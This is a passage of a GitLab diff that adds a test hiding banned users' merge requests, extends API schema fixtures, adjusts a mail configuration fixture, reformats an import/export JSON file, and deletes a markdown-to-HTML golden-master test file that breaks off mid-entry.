context "multiple projects with merge requests" do
include_context 'MergeRequestsFinder multiple projects with merge requests context'
@@ -993,4 +993,29 @@ RSpec.describe MergeRequestsFinder do
end
end
end
+
+ context 'when the author of a merge request is banned', feature_category: :insider_threat do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:banned_user) { create(:user, :banned) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:banned_merge_request) { create(:merge_request, author: banned_user, source_project: project) }
+
+ subject { described_class.new(user).execute }
+
+ it { is_expected.not_to include(banned_merge_request) }
+
+ context 'when the user is an admin', :enable_admin_mode do
+ let_it_be(:user) { create(:user, :admin) }
+
+ it { is_expected.to include(banned_merge_request) }
+ end
+
+ context 'when the `hide_merge_requests_from_banned_users` feature flag is disabled' do
+ before do
+ stub_feature_flags(hide_merge_requests_from_banned_users: false)
+ end
+
+ it { is_expected.to include(banned_merge_request) }
+ end
+ end
end
diff --git a/spec/fixtures/api/schemas/public_api/v4/integration.json b/spec/fixtures/api/schemas/public_api/v4/integration.json
index d1538db7de4..18e61636fa2 100644
--- a/spec/fixtures/api/schemas/public_api/v4/integration.json
+++ b/spec/fixtures/api/schemas/public_api/v4/integration.json
@@ -30,6 +30,9 @@
"issues_events": {
"type": "boolean"
},
+ "incident_events": {
+ "type": "boolean"
+ },
"confidential_issues_events": {
"type": "boolean"
},
diff --git a/spec/fixtures/api/schemas/remote_mirror.json b/spec/fixtures/api/schemas/remote_mirror.json
index 87bde189db5..a4e886a8c7c 100644
--- a/spec/fixtures/api/schemas/remote_mirror.json
+++ b/spec/fixtures/api/schemas/remote_mirror.json
@@ -12,16 +12,57 @@
"only_protected_branches"
],
"properties": {
- "id": { "type": "integer" },
- "enabled": { "type": "boolean" },
- "url": { "type": "string" },
- "update_status": { "type": "string" },
- "last_update_at": { "type": ["string", "null"] },
- "last_update_started_at": { "type": ["string", "null"] },
- "last_successful_update_at": { "type": ["string", "null"] },
- "last_error": { "type": ["string", "null"] },
- "only_protected_branches": { "type": "boolean" },
- "keep_divergent_refs": { "type": ["boolean", "null"] }
+ "id": {
+ "type": "integer"
+ },
+ "enabled": {
+ "type": "boolean"
+ },
+ "url": {
+ "type": "string"
+ },
+ "update_status": {
+ "type": "string"
+ },
+ "last_update_at": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "last_update_started_at": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "last_successful_update_at": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "last_error": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "only_protected_branches": {
+ "type": "boolean"
+ },
+ "mirror_branch_regex": {
+ "type": [
+ "string",
+ "null"
+ ]
+ },
+ "keep_divergent_refs": {
+ "type": [
+ "boolean",
+ "null"
+ ]
+ }
},
"additionalProperties": false
}
diff --git a/spec/fixtures/config/mail_room_enabled_ms_graph.yml b/spec/fixtures/config/mail_room_enabled_ms_graph.yml
index 791760e1dfd..71fc7e73e35 100644
--- a/spec/fixtures/config/mail_room_enabled_ms_graph.yml
+++ b/spec/fixtures/config/mail_room_enabled_ms_graph.yml
@@ -4,7 +4,7 @@ test:
address: "gitlab-incoming+%{key}@gmail.com"
user: "gitlab-incoming@gmail.com"
mailbox: "inbox"
- expunge_deleted: true
+ delete_after_delivery: false
inbox_method: "microsoft_graph"
inbox_options:
tenant_id: "12345"
@@ -17,7 +17,7 @@ test:
address: "gitlab-incoming+%{key}@gmail.com"
user: "gitlab-incoming@gmail.com"
mailbox: "inbox"
- expunge_deleted: true
+ delete_after_delivery: false
inbox_method: "microsoft_graph"
inbox_options:
tenant_id: "12345"
diff --git a/spec/fixtures/lib/gitlab/import_export/complex/project.json b/spec/fixtures/lib/gitlab/import_export/complex/project.json
index 8e7cb487444..88439965cf3 100644
--- a/spec/fixtures/lib/gitlab/import_export/complex/project.json
+++ b/spec/fixtures/lib/gitlab/import_export/complex/project.json
@@ -5,6 +5,8 @@
"visibility_level": 10,
"archived": false,
"ci_config_path": "config/path",
+ "allow_merge_on_skipped_pipeline": true,
+ "squash_option": 3,
"labels": [
{
"id": 2,
@@ -370,13 +372,13 @@
],
"resource_label_events": [
{
- "id":244,
- "action":"remove",
- "issue_id":40,
- "merge_request_id":null,
- "label_id":2,
- "user_id":1,
- "created_at":"2018-08-28T08:24:00.494Z",
+ "id": 244,
+ "action": "remove",
+ "issue_id": 40,
+ "merge_request_id": null,
+ "label_id": 2,
+ "user_id": 1,
+ "created_at": "2018-08-28T08:24:00.494Z",
"label": {
"id": 2,
"title": "test2",
@@ -2350,7 +2352,7 @@
"name": "thumbsup",
"user_id": 1,
"awardable_type": "Snippet",
- "awardable_id": 1,
+ "awardable_id": 1,
"created_at": "2019-11-05T15:37:21.287Z",
"updated_at": "2019-11-05T15:37:21.287Z"
},
@@ -2359,7 +2361,7 @@
"name": "coffee",
"user_id": 1,
"awardable_type": "Snippet",
- "awardable_id": 1,
+ "awardable_id": 1,
"created_at": "2019-11-05T15:37:24.645Z",
"updated_at": "2019-11-05T15:37:24.645Z"
}
@@ -2446,7 +2448,7 @@
"links": [
{
"id": 1,
- "release_id" : 1,
+ "release_id": 1,
"url": "http://localhost/namespace6/project6/-/jobs/140463678/artifacts/download",
"name": "release-1.1.dmg",
"created_at": "2019-12-26T10:17:14.621Z",
@@ -2906,13 +2908,13 @@
],
"resource_label_events": [
{
- "id":243,
- "action":"add",
- "issue_id":null,
- "merge_request_id":27,
- "label_id":null,
- "user_id":1,
- "created_at":"2018-08-28T08:24:00.494Z"
+ "id": 243,
+ "action": "add",
+ "issue_id": null,
+ "merge_request_id": 27,
+ "label_id": null,
+ "user_id": 1,
+ "created_at": "2018-08-28T08:24:00.494Z"
}
],
"merge_request_diff": {
@@ -7472,8 +7474,7 @@
"started_at": null,
"finished_at": null,
"duration": null,
- "stages": [
- ]
+ "stages": []
},
{
"id": 20,
@@ -7491,11 +7492,9 @@
"started_at": null,
"finished_at": null,
"duration": null,
- "stages": [
- ],
+ "stages": [],
"source": "external_pull_request_event",
- "external_pull_request":
- {
+ "external_pull_request": {
"id": 3,
"pull_request_iid": 4,
"source_branch": "feature",
@@ -7505,8 +7504,8 @@
"source_sha": "ce84140e8b878ce6e7c4d298c7202ff38170e3ac",
"target_sha": "a09386439ca39abe575675ffd4b89ae824fec22f",
"status": "open",
- "created_at": "2016-03-22T15:20:35.763Z",
- "updated_at": "2016-03-22T15:20:35.763Z"
+ "created_at": "2016-03-22T15:20:35.763Z",
+ "updated_at": "2016-03-22T15:20:35.763Z"
}
}
],
@@ -7563,7 +7562,7 @@
"updated_at": "2016-08-30T07:32:52.490Z"
}
],
- "allow_force_push":false
+ "allow_force_push": false
}
],
"protected_environments": [
@@ -7670,17 +7669,17 @@
},
"external_pull_requests": [
{
- "id": 3,
- "pull_request_iid": 4,
- "source_branch": "feature",
- "target_branch": "master",
- "source_repository": "the-repository",
- "target_repository": "the-repository",
- "source_sha": "ce84140e8b878ce6e7c4d298c7202ff38170e3ac",
- "target_sha": "a09386439ca39abe575675ffd4b89ae824fec22f",
- "status": "open",
- "created_at": "2019-12-24T14:04:50.053Z",
- "updated_at": "2019-12-24T14:05:18.138Z"
+ "id": 3,
+ "pull_request_iid": 4,
+ "source_branch": "feature",
+ "target_branch": "master",
+ "source_repository": "the-repository",
+ "target_repository": "the-repository",
+ "source_sha": "ce84140e8b878ce6e7c4d298c7202ff38170e3ac",
+ "target_sha": "a09386439ca39abe575675ffd4b89ae824fec22f",
+ "status": "open",
+ "created_at": "2019-12-24T14:04:50.053Z",
+ "updated_at": "2019-12-24T14:05:18.138Z"
}
],
"boards": [
@@ -7848,5 +7847,4 @@
"commit_committer_check": true,
"regexp_uses_re2": true
}
-
-}
+} \ No newline at end of file
diff --git a/spec/fixtures/markdown/markdown_golden_master_examples.yml b/spec/fixtures/markdown/markdown_golden_master_examples.yml
deleted file mode 100644
index 9e7de030a29..00000000000
--- a/spec/fixtures/markdown/markdown_golden_master_examples.yml
+++ /dev/null
@@ -1,909 +0,0 @@
-# Related Specs:
-#
-# This data file drives the specs in the following specs:
-#
-# CE Backend: spec/requests/api/markdown_golden_master_spec.rb
-# CE Frontend: spec/frontend/content_editor/markdown_processing_spec.js
-#
-# For EE, these files are used:
-# EE Data: ee/spec/fixtures/markdown/markdown_golden_master_examples.yml
-# EE Backend: ee/spec/requests/api/markdown_golden_master_spec.rb
-# EE Frontend: ee/spec/frontend/content_editor/ee_markdown_processing_spec.js
-#
-#
-# Requirements:
-#
-# 1. Frontend: We should have test coverage that the Content Editor can properly serialize HTML
-# to Markdown for all GFM source elements which it currently supports.
-# 2. Frontend: We should have test coverage that the Content Editor can properly render the expected
-# HTML for all GFM source elements which it currently supports (not currently implemented in the
-# frontend - this will likely be a standalone module outside of the Content Editor).
-# 3. Backend: We should ensure that for all GFM elements, the backend always renders the expected
-# HTML, for **all** supported GFM source elements.
-#
-# If any of this this ever changes unexpectedly, tests will start failing, and force the same change
-# to be made on the backend and frontend.
-#
-#
-# Overview:
-#
-# These specs ensure that the bidirectional Markdown <-> HTML conversion logic is implemented
-# identically on the backend and frontend, for all supported GitLab-Flavored Markdown examples, by
-# running hardcoded examples through the logic and ensuring the results match.
-#
-# This is an example of the "Golden Master Testing" approach, which is also referred to as
-# "Approval Testing" or "Characterization Testing".
-#
-# The term "Golden Master" originally comes from the recording industry, and refers to process
-# of "mastering", or making a final mix from which all other copies will be produced.
-#
-# See:
-# - https://en.wikipedia.org/wiki/Characterization_test
-# - https://en.wikipedia.org/wiki/Gold_master_(disambiguation)
-#
-#
-# What we are doing is actually a type Golden Master testing with modifications:
-#
-# 1. The original markdown examples used to drive the tests are taken from this YAML, and can be
-# considered a form of "fixture" in this case.
-# 2. The HTML in the YAML is the "Golden Master", but we are going to use it to assert
-# against **TWO** different implementations of markdown rendering:
-# 1. The frontend, implemented as Jest specs.
-# 1. This will assert both HTML -> markdown serialization (what it currently does), as well as...
-# 2. Markdown -> HTML rendering (not currently implemented in the frontend - this will likely
-# be a standalone module outside of the Content Editor)
-# 1. The backend, implemented as requests specs
-# 1. This will assert markdown -> HTML conversion by the backend.
-#
-# Also see the MR for more explanation on the details of this approach:
-# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68671
-#
-#
-# Usage:
-#
-# * Please keep this file alphabetized.
-# * To run focused example(s), set the `FOCUSED_MARKDOWN_EXAMPLES` environment variable to a
-# comma-separated list of example names. This works for the frontend and backend specs.
-# * Required attributes for every example:
-# 1. `name`: Specifies the Name of the example, which will be printed when specs are run.
-# 2. `markdown`: Specifies the Markdown for the example, which will be compared with the
-# Markdown the code generates from the corresponding specified HTML.
-# 3. `html`: Specifies the HTML for the example, which will be compared with the
-# HTML the code generated from the corresponding specified Markdown.
-# * `api_context` (optional): This is used when a single markdown can be
-# rendered differently depending on the API endpoint or area of the app from which it is called or
-# used. The valid values for `api_context` are: `project`, `group`, `project_wiki`,
-# and (for EE only) `group_wiki`.The `name` attribute must also have a `_for_[API_CONTEXT]` suffix
-# which matches the `api_context`, in order to ensure that each example has a unique `name`
-# identifier. For example, `attachment_image_for_project`.
-# * `pending`: To skip an example that is broken or not yet fully implemented, add
-# a `pending: <reason with issue/MR URL>` attribute to the example. See
-# the `a_example_of_pending` entry for an example.
-# * `pending` with key: You can also mark an example pending on only the frontend or backend. See
-# the `a_example_of_pending_with_keys` entry for an example.
-# * `substitutions`: For examples which may have variable content in different environments,
-# such as portions of the URI, or database record IDs, you can specify
-# `substitutions`, which is an array of regex/replacement pairs. The HTML
-# value will be normalized with each of these pairs using Ruby `gsub`
-# before comparing.
-# The substitution values can (and are) also reused in multiple examples
-# via YAML anchors.
-#
-#
-# Notes:
-#
-# * The html values should exactly match what the backend markdown API endpoints return for the
-# given markdown example. The HTML is intentionally not indented, formatted, or split across lines.
-# This is a bit less readable, but it makes the spec logic simpler and less error prone for edge
-# cases.
-#
-#
-# Debugging Failures and Writing New Entries:
-#
-# * You need to compare what is different between the expected and actual values.
-# * In rspec, the diff printed out includes the full text of the HTML. This may be long, so you
-# may want to turn line wrapping on or off or copy the diff to separate file(s) for easier comparison.
-# * If the difference is just in an attribute value, use the `substitutions` support to normalize
-# the HTML before comparing. These specs are only validating the HTML structure, the individual
-# markdown elements' unit tests can provide coverage that the exact attribute values are correct.
-# * If you are making a new entry, you can create the entry according to the `Usage` section above,
-# but leave the `html` value blank. This will cause the spec to fail, and you can fill in the
-# `html` value based on the spec failure that is printed out.
-
----
-#- name: an_example_of_pending
-# pending: 'This is an example of the pending attribute: http://example.com'
-# markdown: ;)
-# html: |-
-# <blink data-sourcepos="1:1-1:2"/></blink>
-#
-
-#- name: an_example_of_pending_with_keys
-# pending:
-# frontend: 'This is an example of the frontend-only pending attribute: http://example.com'
-# backend: 'This is an example of the backend-only pending attribute: http://example.com'
-# markdown: ;)
-# html: |-
-# <blink data-sourcepos="1:1-1:2"/></blink>
-
-- name: attachment_image_for_group
- api_context: group
- substitutions:
- # Note: having the top level `substitutions` data structure be a hash of arrays
- # allows us to compose multiple substitutions via YAML anchors (YAML anchors
- # pointing to arrays can't be combined)
- uri_substitution: &uri_substitution
- # NOTE: We don't care about verifying specific attribute values here, that should be the
- # responsibility of unit tests. These tests are about the structure of the HTML.
- - regex: '(href|data-src)(=")(.*?)(test-file\.(png|zip)")'
- replacement: '\1\2URI_PREFIX\4'
- markdown: |-
- ![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)
- html: |-
- <p data-sourcepos="1:1-1:69" dir="auto"><a class="no-attachment-icon gfm" href="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-link="true"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="test-file" decoding="async" class="lazy gfm" data-src="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png"></a></p>
-
-- name: attachment_image_for_project
- api_context: project
- substitutions:
- uri_substitution: *uri_substitution
- markdown: |-
- ![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)
- html: |-
- <p data-sourcepos="1:1-1:69" dir="auto"><a class="no-attachment-icon gfm" href="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-link="true"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="test-file" decoding="async" class="lazy gfm" data-src="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png"></a></p>
-
-- name: attachment_image_for_project_wiki
- api_context: project_wiki
- substitutions:
- uri_substitution: *uri_substitution
- markdown: |-
- ![test-file](test-file.png)
- html: |-
- <p data-sourcepos="1:1-1:27" dir="auto"><a class="no-attachment-icon" href="/group1/project1/-/wikis/test-file.png" target="_blank" rel="noopener noreferrer" data-canonical-src="test-file.png"><img alt="test-file" decoding="async" class="lazy" data-src="/group1/project1/-/wikis/test-file.png" data-canonical-src="test-file.png"></a></p>
-
-- name: attachment_link_for_group
- api_context: group
- substitutions:
- uri_substitution: *uri_substitution
- markdown: |-
- [test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)
- html: |-
- <p data-sourcepos="1:1-1:68" dir="auto"><a href="/groups/group58/-/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-link="true" class="gfm">test-file</a></p>
-
-- name: attachment_link_for_project
- api_context: project
- substitutions:
- uri_substitution: *uri_substitution
- markdown: |-
- [test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)
- html: |-
- <p data-sourcepos="1:1-1:68" dir="auto"><a href="/group58/project22/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-canonical-src="/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip" data-link="true" class="gfm">test-file</a></p>
-
-- name: attachment_link_for_project_wiki
- api_context: project_wiki
- substitutions:
- uri_substitution: *uri_substitution
- # TODO: The current frontend example doesn't include the path, need to look into why it does after refactoring to the new golden master approach
- pending:
- frontend: 'The current frontend example doesnt include the path, need to look into why it does after refactoring to the new golden master approach'
- markdown: |-
- [test-file](test-file.zip)
- html: |-
- <p data-sourcepos="1:1-1:26" dir="auto"><a href="/group1/project1/-/wikis/test-file.zip" data-canonical-src="test-file.zip">test-file</a></p>
-
-- name: audio
- markdown: |-
- ![Sample Audio](https://gitlab.com/gitlab.mp3)
- html: |-
- <p data-sourcepos="1:1-1:46" dir="auto"><span class="media-container audio-container"><audio src="https://gitlab.com/gitlab.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/gitlab.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></p>
-
-- name: audio_and_video_in_lists
- markdown: |-
- * ![Sample Audio](https://gitlab.com/1.mp3)
- * ![Sample Video](https://gitlab.com/2.mp4)
-
- 1. ![Sample Video](https://gitlab.com/1.mp4)
- 2. ![Sample Audio](https://gitlab.com/2.mp3)
-
- * [x] ![Sample Audio](https://gitlab.com/1.mp3)
- * [x] ![Sample Audio](https://gitlab.com/2.mp3)
- * [x] ![Sample Video](https://gitlab.com/3.mp4)
- html: |-
- <ul data-sourcepos="1:1-3:0" dir="auto">
- <li data-sourcepos="1:1-1:43"><span class="media-container audio-container"><audio src="https://gitlab.com/1.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/1.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></li>
- <li data-sourcepos="2:1-3:0"><span class="media-container video-container"><video src="https://gitlab.com/2.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/2.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></li>
- </ul>
- <ol data-sourcepos="4:1-6:0" dir="auto">
- <li data-sourcepos="4:1-4:44"><span class="media-container video-container"><video src="https://gitlab.com/1.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/1.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></li>
- <li data-sourcepos="5:1-6:0"><span class="media-container audio-container"><audio src="https://gitlab.com/2.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/2.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span></li>
- </ol>
- <ul data-sourcepos="7:1-9:47" class="task-list" dir="auto">
- <li data-sourcepos="7:1-7:47" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container audio-container"><audio src="https://gitlab.com/1.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/1.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span>
- </li>
- <li data-sourcepos="8:1-8:47" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container audio-container"><audio src="https://gitlab.com/2.mp3" controls="true" data-setup="{}" data-title="Sample Audio"></audio><a href="https://gitlab.com/2.mp3" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Audio'">Sample Audio</a></span>
- </li>
- <li data-sourcepos="9:1-9:47" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> <span class="media-container video-container"><video src="https://gitlab.com/3.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/3.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span>
- </li>
- </ul>
-
-- name: blockquote
- markdown: |-
- > This is a blockquote
- >
- > This is another one
- html: |-
- <blockquote data-sourcepos="1:1-3:21" dir="auto">
- <p data-sourcepos="1:3-1:22">This is a blockquote</p>
- <p data-sourcepos="3:3-3:21">This is another one</p>
- </blockquote>
-
-- name: bold
- markdown: |-
- **bold**
- html: |-
- <p data-sourcepos="1:1-1:8" dir="auto"><strong>bold</strong></p>
-
-- name: bullet_list_style_1
- markdown: |-
- * list item 1
- * list item 2
- * embedded list item 3
- html: |-
- <ul data-sourcepos="1:1-3:24" dir="auto">
- <li data-sourcepos="1:1-1:13">list item 1</li>
- <li data-sourcepos="2:1-3:24">list item 2
- <ul data-sourcepos="3:3-3:24">
- <li data-sourcepos="3:3-3:24">embedded list item 3</li>
- </ul>
- </li>
- </ul>
-
-- name: bullet_list_style_2
- markdown: |-
- - list item 1
- - list item 2
- * embedded list item 3
- html: |-
- <ul data-sourcepos="1:1-3:24" dir="auto">
- <li data-sourcepos="1:1-1:13">list item 1</li>
- <li data-sourcepos="2:1-3:24">list item 2
- <ul data-sourcepos="3:3-3:24">
- <li data-sourcepos="3:3-3:24">embedded list item 3</li>
- </ul>
- </li>
- </ul>
-
-- name: bullet_list_style_3
- markdown: |-
- + list item 1
- + list item 2
- - embedded list item 3
- html: |-
- <ul data-sourcepos="1:1-3:24" dir="auto">
- <li data-sourcepos="1:1-1:13">list item 1</li>
- <li data-sourcepos="2:1-3:24">list item 2
- <ul data-sourcepos="3:3-3:24">
- <li data-sourcepos="3:3-3:24">embedded list item 3</li>
- </ul>
- </li>
- </ul>
-
-- name: code_block_javascript
- markdown: |-
- ```javascript
- console.log('hello world')
- ```
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-3:3" lang="javascript" class="code highlight js-syntax-highlight language-javascript" v-pre="true"><code><span id="LC1" class="line" lang="javascript"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">hello world</span><span class="dl">'</span><span class="p">)</span></span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: code_block_plaintext
- markdown: |-
- ```
- plaintext
- ```
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-3:3" lang="plaintext" class="code highlight js-syntax-highlight language-plaintext" data-canonical-lang="" v-pre="true"><code><span id="LC1" class="line" lang="plaintext"> plaintext</span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: code_block_unknown
- markdown: |-
- ```foobar
- custom_language = >> this <<
- ```
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-3:3" lang="plaintext" class="code highlight js-syntax-highlight language-plaintext" data-canonical-lang="foobar" v-pre="true"><code><span id="LC1" class="line" lang="plaintext"> custom_language = &gt;&gt; this &lt;&lt;</span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: color_chips
- markdown: |-
- - `#F00`
- - `#F00A`
- - `#FF0000`
- - `#FF0000AA`
- - `RGB(0,255,0)`
- - `RGB(0%,100%,0%)`
- - `RGBA(0,255,0,0.3)`
- - `HSL(540,70%,50%)`
- - `HSLA(540,70%,50%,0.3)`
- html: |-
- <ul data-sourcepos="1:1-9:25" dir="auto">
- <li data-sourcepos="1:1-1:8"><code>#F00<span class="gfm-color_chip"><span style="background-color: #F00;"></span></span></code></li>
- <li data-sourcepos="2:1-2:9"><code>#F00A<span class="gfm-color_chip"><span style="background-color: #F00A;"></span></span></code></li>
- <li data-sourcepos="3:1-3:11"><code>#FF0000<span class="gfm-color_chip"><span style="background-color: #FF0000;"></span></span></code></li>
- <li data-sourcepos="4:1-4:13"><code>#FF0000AA<span class="gfm-color_chip"><span style="background-color: #FF0000AA;"></span></span></code></li>
- <li data-sourcepos="5:1-5:16"><code>RGB(0,255,0)<span class="gfm-color_chip"><span style="background-color: RGB(0,255,0);"></span></span></code></li>
- <li data-sourcepos="6:1-6:19"><code>RGB(0%,100%,0%)<span class="gfm-color_chip"><span style="background-color: RGB(0%,100%,0%);"></span></span></code></li>
- <li data-sourcepos="7:1-7:21"><code>RGBA(0,255,0,0.3)<span class="gfm-color_chip"><span style="background-color: RGBA(0,255,0,0.3);"></span></span></code></li>
- <li data-sourcepos="8:1-8:20"><code>HSL(540,70%,50%)<span class="gfm-color_chip"><span style="background-color: HSL(540,70%,50%);"></span></span></code></li>
- <li data-sourcepos="9:1-9:25"><code>HSLA(540,70%,50%,0.3)<span class="gfm-color_chip"><span style="background-color: HSLA(540,70%,50%,0.3);"></span></span></code></li>
- </ul>
-
-- name: comment
- markdown: |-
- <!-- this is a
- multiline markdown
- comment -->
- html: |-
- <!-- this is a
- multiline markdown
- comment -->
-
-- name: description_list
- markdown: |-
- <dl>
- <dt>Frog</dt>
- <dd>Wet green thing</dd>
- <dt>Rabbit</dt>
- <dd>Warm fluffy thing</dd>
- <dt>Punt</dt>
- <dd>Kick a ball</dd>
- <dd>Take a bet</dd>
- <dt>Color</dt>
- <dt>Colour</dt>
- <dd>
-
- Any hue except _white_ or **black**
-
- </dd>
- </dl>
- html: |-
- <dl>
- <dt>Frog</dt>
- <dd>Wet green thing</dd>
- <dt>Rabbit</dt>
- <dd>Warm fluffy thing</dd>
- <dt>Punt</dt>
- <dd>Kick a ball</dd>
- <dd>Take a bet</dd>
- <dt>Color</dt>
- <dt>Colour</dt>
- <dd>
- <p data-sourcepos="13:1-13:35">Any hue except <em>white</em> or <strong>black</strong></p>
- </dd>
- </dl>
-
-- name: details
- markdown: |-
- <details>
- <summary>This is the visible summary of the collapsible section</summary>
-
- 1. collapsed markdown
- 2. more collapsed markdown
-
- </details>
- html: |-
- <details>
- <summary>This is the visible summary of the collapsible section</summary>
- <ol data-sourcepos="4:1-6:0">
- <li data-sourcepos="4:1-4:21">collapsed markdown</li>
- <li data-sourcepos="5:1-6:0">more collapsed markdown</li>
- </ol>
- </details>
-
-- name: diagram_kroki_nomnoml
- markdown: |-
- ```nomnoml
- #stroke: #a86128
- [<frame>Decorator pattern|
- [<abstract>Component||+ operation()]
- [Client] depends --> [Component]
- [Decorator|- next: Component]
- [Decorator] decorates -- [ConcreteComponent]
- [Component] <:- [Decorator]
- [Component] <:- [ConcreteComponent]
- ]
- ```
- html: |-
- <a class="no-attachment-icon" href="http://localhost:8000/nomnoml/svg/eNp1jbsOwjAMRfd-haUuIJQBBlRFVZb2L1CGkBqpgtpR6oEhH0_CW6hsts-9xwD1LJHPqKF2zX67ayqAQ3uKbkLTo-fohCMEJ4KRUoYFu2MuOS-m4ykwIUlKG-CAOT0yrdb2EewuY2YWBgxIwwxKmXx8dZ6h95ekgPAqGv4miuk-YnEVFfmIgr-Fzw6tVt-CZb7osdUNUAReJA==" target="_blank" rel="noopener noreferrer" data-diagram="nomnoml" data-diagram-src="data:text/plain;base64,ICAjc3Ryb2tlOiAjYTg2MTI4CiAgWzxmcmFtZT5EZWNvcmF0b3IgcGF0dGVybnwKICAgIFs8YWJzdHJhY3Q+Q29tcG9uZW50fHwrIG9wZXJhdGlvbigpXQogICAgW0NsaWVudF0gZGVwZW5kcyAtLT4gW0NvbXBvbmVudF0KICAgIFtEZWNvcmF0b3J8LSBuZXh0OiBDb21wb25lbnRdCiAgICBbRGVjb3JhdG9yXSBkZWNvcmF0ZXMgLS0gW0NvbmNyZXRlQ29tcG9uZW50XQogICAgW0NvbXBvbmVudF0gPDotIFtEZWNvcmF0b3JdCiAgICBbQ29tcG9uZW50XSA8Oi0gW0NvbmNyZXRlQ29tcG9uZW50XQogIF0K"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" class="js-render-kroki lazy" decoding="async" data-src="http://localhost:8000/nomnoml/svg/eNp1jbsOwjAMRfd-haUuIJQBBlRFVZb2L1CGkBqpgtpR6oEhH0_CW6hsts-9xwD1LJHPqKF2zX67ayqAQ3uKbkLTo-fohCMEJ4KRUoYFu2MuOS-m4ykwIUlKG-CAOT0yrdb2EewuY2YWBgxIwwxKmXx8dZ6h95ekgPAqGv4miuk-YnEVFfmIgr-Fzw6tVt-CZb7osdUNUAReJA=="></a>
-
-- name: diagram_plantuml
- markdown: |-
- ```plantuml
- Alice -> Bob: Authentication Request
- Bob --> Alice: Authentication Response
-
- Alice -> Bob: Another authentication Request
- Alice <-- Bob: Another authentication Response
- ```
- html: |-
